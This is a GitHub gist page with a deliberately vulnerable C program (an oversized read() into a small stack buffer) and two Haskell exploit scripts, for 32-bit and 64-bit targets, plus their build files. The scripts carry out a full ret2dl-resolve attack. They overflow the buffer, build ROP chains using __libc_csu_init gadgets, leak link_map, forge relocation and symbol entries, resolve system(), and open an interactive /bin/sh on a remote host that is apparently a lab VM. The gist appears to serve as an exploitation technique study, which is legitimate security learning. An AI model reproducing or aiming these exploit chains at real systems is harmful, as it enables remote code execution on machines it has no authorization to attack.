Last active
November 5, 2019 00:33
-
-
Save Tosainu/b811168a23a6890bcd2dd82b448b2ee6 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <unistd.h> | |
int main() { | |
char buf[0x100]; | |
read(0, buf, 0x800); | |
write(1, buf, 0x800); | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
name: exploit | |
version: 0.1.0.0 | |
build-type: Simple | |
cabal-version: >=1.10 | |
executable exploit | |
main-is: exploit.hs | |
default-language: Haskell2010 | |
build-depends: base >= 4.7 && < 5 | |
, bytestring | |
, pwn |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env stack | |
-- stack --stack-yaml ./stack.yaml runghc --package pwn | |
{-# LANGUAGE OverloadedStrings #-} | |
import Control.Concurrent (threadDelay) | |
import Data.Bits | |
import qualified Data.ByteString.Char8 as BS | |
import Data.Maybe | |
import Data.Monoid ((<>)) | |
import Numeric (showHex) | |
-- https://github.com/Tosainu/pwn.hs | |
import Pwn | |
main :: IO () | |
main = do | |
-- r <- process "./dl_resolve_test" [] | |
r <- remote "192.168.122.10" 4000 | |
-- $ gdb dl_resolve_test | |
-- 0x41332541 in ?? () | |
-- gdb-peda$ patto 0x41332541 | |
-- 1093870913 found at offset: 268 | |
let eip_offset = 268 | |
bss = 0x08049708 | |
plt = 0x080482e0 | |
relplt = 0x08048290 | |
dynsym = 0x080481ac | |
dynstr = 0x0804820c | |
read_plt = 0x080482f0 | |
write_plt = 0x08048320 | |
write_got = 0x080496fc | |
link_map_ptr = 0x080496e8 -- 0x080482e0 ff35e8960408 push dword [0x80496e8] | |
pop3ret = 0x080484dd -- 0x080484dd: pop esi ; pop edi ; pop ebp ; ret ; (1 found) | |
pop_ebp_ret = 0x080484df -- 0x080484df: pop ebp ; ret ; (1 found) | |
leave_ret = 0x08048398 -- 0x08048398: leave ; ret ; (3 found) | |
let base_stage = bss + 0x800 | |
buf1 = BS.concat $ catMaybes | |
[ Just $ BS.replicate eip_offset 'A' | |
, p32 write_plt -- write@plt(1, link_map_ptr, 4) | |
, p32 pop3ret | |
, p32 1 | |
, p32 link_map_ptr | |
, p32 4 | |
, p32 read_plt -- read@plt(0, base_stage, 0x100) | |
, p32 pop3ret | |
, p32 0 | |
, p32 base_stage | |
, p32 0x100 | |
, p32 pop_ebp_ret -- stack pivotting | |
, p32 base_stage | |
, p32 leave_ret | |
] | |
send r buf1 | |
threadDelay 10000 | |
recvn r 0x800 | |
threadDelay 10000 | |
info "leak infomations" | |
leak <- recvn r 4 | |
let Just link_map = u32 leak | |
link_map_0xe4 = link_map + 0xe4 | |
success $ "link_map: 0x" <> showHex link_map "" | |
success $ "link_map->l_info[VERSYMIDX (DT_VERSYM)]: 0x" <> showHex link_map_0xe4 "" | |
threadDelay 10000 | |
let cmd = "/bin/sh\x00" | |
cmd_addr = base_stage + 0x70 | |
buf2' = BS.concat $ catMaybes | |
[ Just $ BS.replicate 4 'A' -- for leave_ret gadget | |
, p32 read_plt -- read@plt(0, link_map_0xe4, 4) | |
, p32 pop3ret | |
, p32 0 | |
, p32 link_map_0xe4 | |
, p32 4 | |
, p32 plt -- resolving system() address and call it | |
, p32 reloc_offset | |
, Just $ BS.replicate 4 'A' | |
, p32 cmd_addr | |
] | |
-- Elf32_Rel | |
elf32_rel = base_stage + 0x30 | |
elf32_rel_size = 0x08 | |
reloc_offset = elf32_rel - relplt | |
r_info = ((elf32_sym - dynsym) `shiftL` 4) .&. complement 0xff .|. 0x07 | |
fake_rel = BS.concat $ catMaybes | |
[ p32 write_got -- r_offset | |
, p32 r_info -- r_info | |
] | |
-- Elf32_Sym | |
elf32_sym' = elf32_rel + elf32_rel_size | |
elf32_sym_align = 0x10 - ((elf32_sym' - dynsym) .&. 0xf) | |
elf32_sym = elf32_sym' + elf32_sym_align | |
elf32_sym_size = 0x10 | |
st_name = elf32_sym + elf32_sym_size - dynstr | |
fake_sym = BS.concat $ catMaybes | |
[ p32 st_name -- st_name | |
, p32 0x00 -- st_value | |
, p32 0x00 -- st_size | |
, p32 0x12 -- st_info | |
, Just "system\x00" | |
] | |
buf2 = BS.concat | |
[ buf2' | |
, BS.replicate (fromIntegral $ elf32_rel - base_stage - fromIntegral (BS.length buf2')) 'a' | |
, fake_rel | |
, BS.replicate (fromIntegral elf32_sym_align) 'b' | |
, fake_sym | |
, BS.replicate (fromIntegral $ cmd_addr - elf32_sym - fromIntegral (BS.length fake_sym)) 'c' | |
, cmd | |
] | |
info $ "fake Elf32_Rel: 0x" <> showHex elf32_rel "" | |
putStrLn $ " r_offset: 0x" <> showHex write_got "\n" <> | |
" r_info: 0x" <> showHex r_info "" | |
info $ "fake Elf32_Sym: 0x" <> showHex elf32_sym "" | |
putStrLn $ " st_name: 0x" <> showHex st_name "\n" <> | |
" st_info: 0x12" | |
send r buf2 | |
threadDelay 10000 | |
info "overwrite link_map->l_info[VERSYMIDX (DT_VERSYM)] to NULL" | |
send r $ BS.replicate 4 '\x00' | |
threadDelay 10000 | |
interactive r |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env stack | |
-- stack --stack-yaml ./stack.yaml runghc --package pwn | |
{-# LANGUAGE OverloadedStrings #-} | |
import Control.Concurrent (threadDelay) | |
import Data.Bits | |
import qualified Data.ByteString.Char8 as BS | |
import Data.Maybe | |
import Data.Monoid ((<>)) | |
import Numeric (showHex) | |
-- https://github.com/Tosainu/pwn.hs | |
import Pwn | |
main :: IO () | |
main = do | |
-- r <- process "./dl_resolve_test_x86_64" [] | |
r <- remote "192.168.122.10" 4000 | |
-- Stopped reason: SIGSEGV | |
-- 0x000000000040057b in main () | |
-- gdb-peda$ x/gx $rsp | |
-- 0x7fffffffdfb8: 0x4133254164254148 | |
-- gdb-peda$ patto 0x4133254164254148 | |
-- 4698139799060824392 found at offset: 264 | |
let rip_offset = 264 | |
bss = 0x00600968 | |
plt = 0x00400400 | |
relaplt = 0x00400380 | |
dynsym = 0x00400280 | |
dynstr = 0x004002f8 | |
read_plt = 0x00400420 | |
read_got = 0x00600940 | |
write_plt = 0x00400410 | |
write_got = 0x00600938 | |
link_map_ptr = 0x00600928 -- 0x00400400 ff3522052000 push qword [0x00600928] | |
ret = 0x004003f9 -- 0x004003f9: ret ; (9 found) | |
leave_ret = 0x0040057a -- 0x0040057a: leave ; ret ; (1 found) | |
-- ┌─> 0x004005c0 4c89ea mov rdx, r13 | |
-- | 0x004005c3 4c89f6 mov rsi, r14 | |
-- | 0x004005c6 4489ff mov edi, r15d | |
-- | 0x004005c9 41ff14dc call qword [r12 + rbx*8] | |
-- | 0x004005cd 4883c301 add rbx, 1 | |
-- | 0x004005d1 4839eb cmp rbx, rbp | |
-- └─< 0x004005d4 75ea jne 0x4005c0 | |
-- ; JMP XREF from 0x004005b6 (sym.__libc_csu_init) | |
-- 0x004005d6 4883c408 add rsp, 8 | |
-- 0x004005da 5b pop rbx | |
-- 0x004005db 5d pop rbp | |
-- 0x004005dc 415c pop r12 | |
-- 0x004005de 415d pop r13 | |
-- 0x004005e0 415e pop r14 | |
-- 0x004005e2 415f pop r15 | |
-- 0x004005e4 c3 ret | |
__libc_csu_init_0x40 = 0x004005c0 | |
__libc_csu_init_0x5a = 0x004005da | |
-- let base_stage = bss + 0x800 | |
let base_stage = bss - 0x400 | |
buf1 = BS.concat $ catMaybes | |
[ Just $ BS.replicate rip_offset 'A' | |
-- write@plt(1, link_map_ptr, 8) | |
, p64 __libc_csu_init_0x5a | |
, p64 0x0 -- rbx | |
, p64 0x1 -- rbp | |
, p64 write_got -- r12 -> call [r12] | |
, p64 0x8 -- r13 -> rdx | |
, p64 link_map_ptr -- r14 -> rsi | |
, p64 0x1 -- r15 -> edi | |
, p64 __libc_csu_init_0x40 | |
, Just $ BS.replicate 8 'A' -- add rsp, 8 | |
-- read@plt(0, base_stage, 0x200) | |
, p64 0x0 -- rbx | |
, p64 0x1 -- rbp | |
, p64 read_got -- r12 -> call [r12] | |
, p64 0x200 -- r13 -> rdx | |
, p64 base_stage -- r14 -> rsi | |
, p64 0x0 -- r15 -> edi | |
, p64 __libc_csu_init_0x40 | |
, Just $ BS.replicate 8 'A' -- add rsp, 8 | |
-- set $rdx and $edi | |
, p64 0x0 -- rbx | |
, p64 0x1 -- rbp | |
, p64 base_stage -- r12 -> call [r12] | |
, p64 0x8 -- r13 -> rdx | |
, p64 0x0 -- r14 -> rsi | |
, p64 0x1 -- r15 -> edi | |
, p64 __libc_csu_init_0x40 | |
, Just $ BS.replicate 8 'A' -- add rsp, 8 | |
-- stack pivotting | |
, p64 0x0 -- rbx | |
, p64 base_stage -- rbp | |
, p64 0x0 -- r12 | |
, p64 0x0 -- r13 | |
, p64 0x0 -- r14 | |
, p64 0x0 -- r15 | |
, p64 leave_ret | |
] | |
send r buf1 | |
threadDelay 10000 | |
recvn r 0x800 | |
threadDelay 10000 | |
info "leak infomations" | |
leak <- recvn r 8 | |
-- 0x7f3039ad8b01 <_dl_fixup+97>: mov rax,QWORD PTR [r10+0x1c8] | |
-- 0x7f3039ad8b08 <_dl_fixup+104>: xor r8d,r8d | |
-- 0x7f3039ad8b0b <_dl_fixup+107>: test rax,rax | |
-- => 0x7f3039ad8b0e <_dl_fixup+110>: je 0x7f3039ad8b3c <_dl_fixup+156> | |
let Just link_map = u64 leak | |
link_map_0x1c8 = link_map + 0x1c8 | |
success $ "link_map: 0x" <> showHex link_map "" | |
success $ "link_map->l_info[VERSYMIDX (DT_VERSYM)]: 0x" <> showHex link_map_0x1c8 "" | |
threadDelay 10000 | |
let cmd = "/bin/sh\x00" | |
cmd_addr = base_stage + 0x150 | |
buf2' = BS.concat $ catMaybes | |
[ p64 ret -- for call [r12], leave_ret gadget | |
-- read@plt(0, link_map_0x1c8, 8) | |
, p64 __libc_csu_init_0x5a | |
, p64 0x0 -- rbx | |
, p64 0x1 -- rbp | |
, p64 read_got -- r12 -> call [r12] | |
, p64 0x8 -- r13 -> rdx | |
, p64 link_map_0x1c8 -- r14 -> rsi | |
, p64 0x0 -- r15 -> edi | |
, p64 __libc_csu_init_0x40 | |
, Just $ BS.replicate 8 'A' -- add rsp, 8 | |
-- set $rdx, $rsi and $edi | |
, p64 0x0 -- rbx | |
, p64 0x1 -- rbp | |
, p64 base_stage -- r12 -> call [r12] | |
, p64 0x0 -- r13 -> rdx | |
, p64 0x0 -- r14 -> rsi | |
, p64 cmd_addr -- r15 -> edi | |
, p64 __libc_csu_init_0x40 | |
, Just $ BS.replicate 8 'A' -- add rsp, 8 | |
-- resolving system() address and call it | |
, p64 0x0 -- rbx | |
, p64 0x0 -- rbp | |
, p64 0x0 -- r12 | |
, p64 0x0 -- r13 | |
, p64 0x0 -- r14 | |
, p64 0x0 -- r15 | |
, p64 plt | |
, p64 reloc_index | |
, Just $ BS.replicate 8 'A' | |
] | |
-- elf64_rela | |
elf64_rela' = base_stage + 0x100 | |
elf64_rela_align = elf64_rela_size - ((elf64_rela' - relaplt) `mod` elf64_rela_size) | |
elf64_rela = elf64_rela' + elf64_rela_align | |
elf64_rela_size = 0x18 | |
reloc_index = (elf64_rela - relaplt) `quot` elf64_rela_size | |
r_info = (shiftL ((elf64_sym - dynsym) `quot` elf64_sym_size) 32) .|. 0x07 | |
fake_rela = BS.concat $ catMaybes | |
[ p64 write_got -- r_offset | |
, p64 r_info -- r_info | |
, p64 0x0 -- r_addend | |
] | |
-- Elf64_Sym | |
elf64_sym' = elf64_rela + elf64_rela_size | |
elf64_sym_align = elf64_sym_size - ((elf64_sym' - dynsym) `mod` elf64_sym_size) | |
elf64_sym = elf64_sym' + elf64_sym_align | |
elf64_sym_size = 0x18 | |
st_name = elf64_sym + elf64_sym_size - dynstr | |
fake_sym = BS.concat $ catMaybes | |
[ p32 $ fromIntegral st_name -- st_name | |
, p32 0x12 -- st_info | |
, p64 0x0 | |
, p64 0x0 | |
, Just "system\x00" | |
] | |
buf2 = BS.concat | |
[ buf2' | |
, BS.replicate (fromIntegral $ elf64_rela - base_stage - fromIntegral (BS.length buf2')) 'a' | |
, fake_rela | |
, BS.replicate (fromIntegral elf64_sym_align) 'b' | |
, fake_sym | |
, BS.replicate (fromIntegral $ cmd_addr - elf64_sym - fromIntegral (BS.length fake_sym)) 'c' | |
, cmd | |
] | |
info $ "fake Elf64_rela: 0x" <> showHex elf64_rela "" | |
putStrLn $ " r_offset: 0x" <> showHex write_got "\n" <> | |
" r_info: 0x" <> showHex r_info "" | |
info $ "fake Elf64_Sym: 0x" <> showHex elf64_sym "" | |
putStrLn $ " st_name: 0x" <> showHex st_name "\n" <> | |
" st_info: 0x12" | |
sendline r buf2 | |
threadDelay 10000 | |
info "overwrite link_map->l_info[VERSYMIDX (DT_VERSYM)] to NULL" | |
sendline r $ BS.replicate 8 '\x00' | |
threadDelay 10000 | |
interactive r |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
resolver: lts-9.1 | |
packages: | |
- . | |
- location: | |
git: git@github.com:Tosainu/pwn.hs.git | |
commit: 02620e24362ab4a9531925fa1a0d0524c2000c63 | |
extra-dep: true | |
extra-deps: [] |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment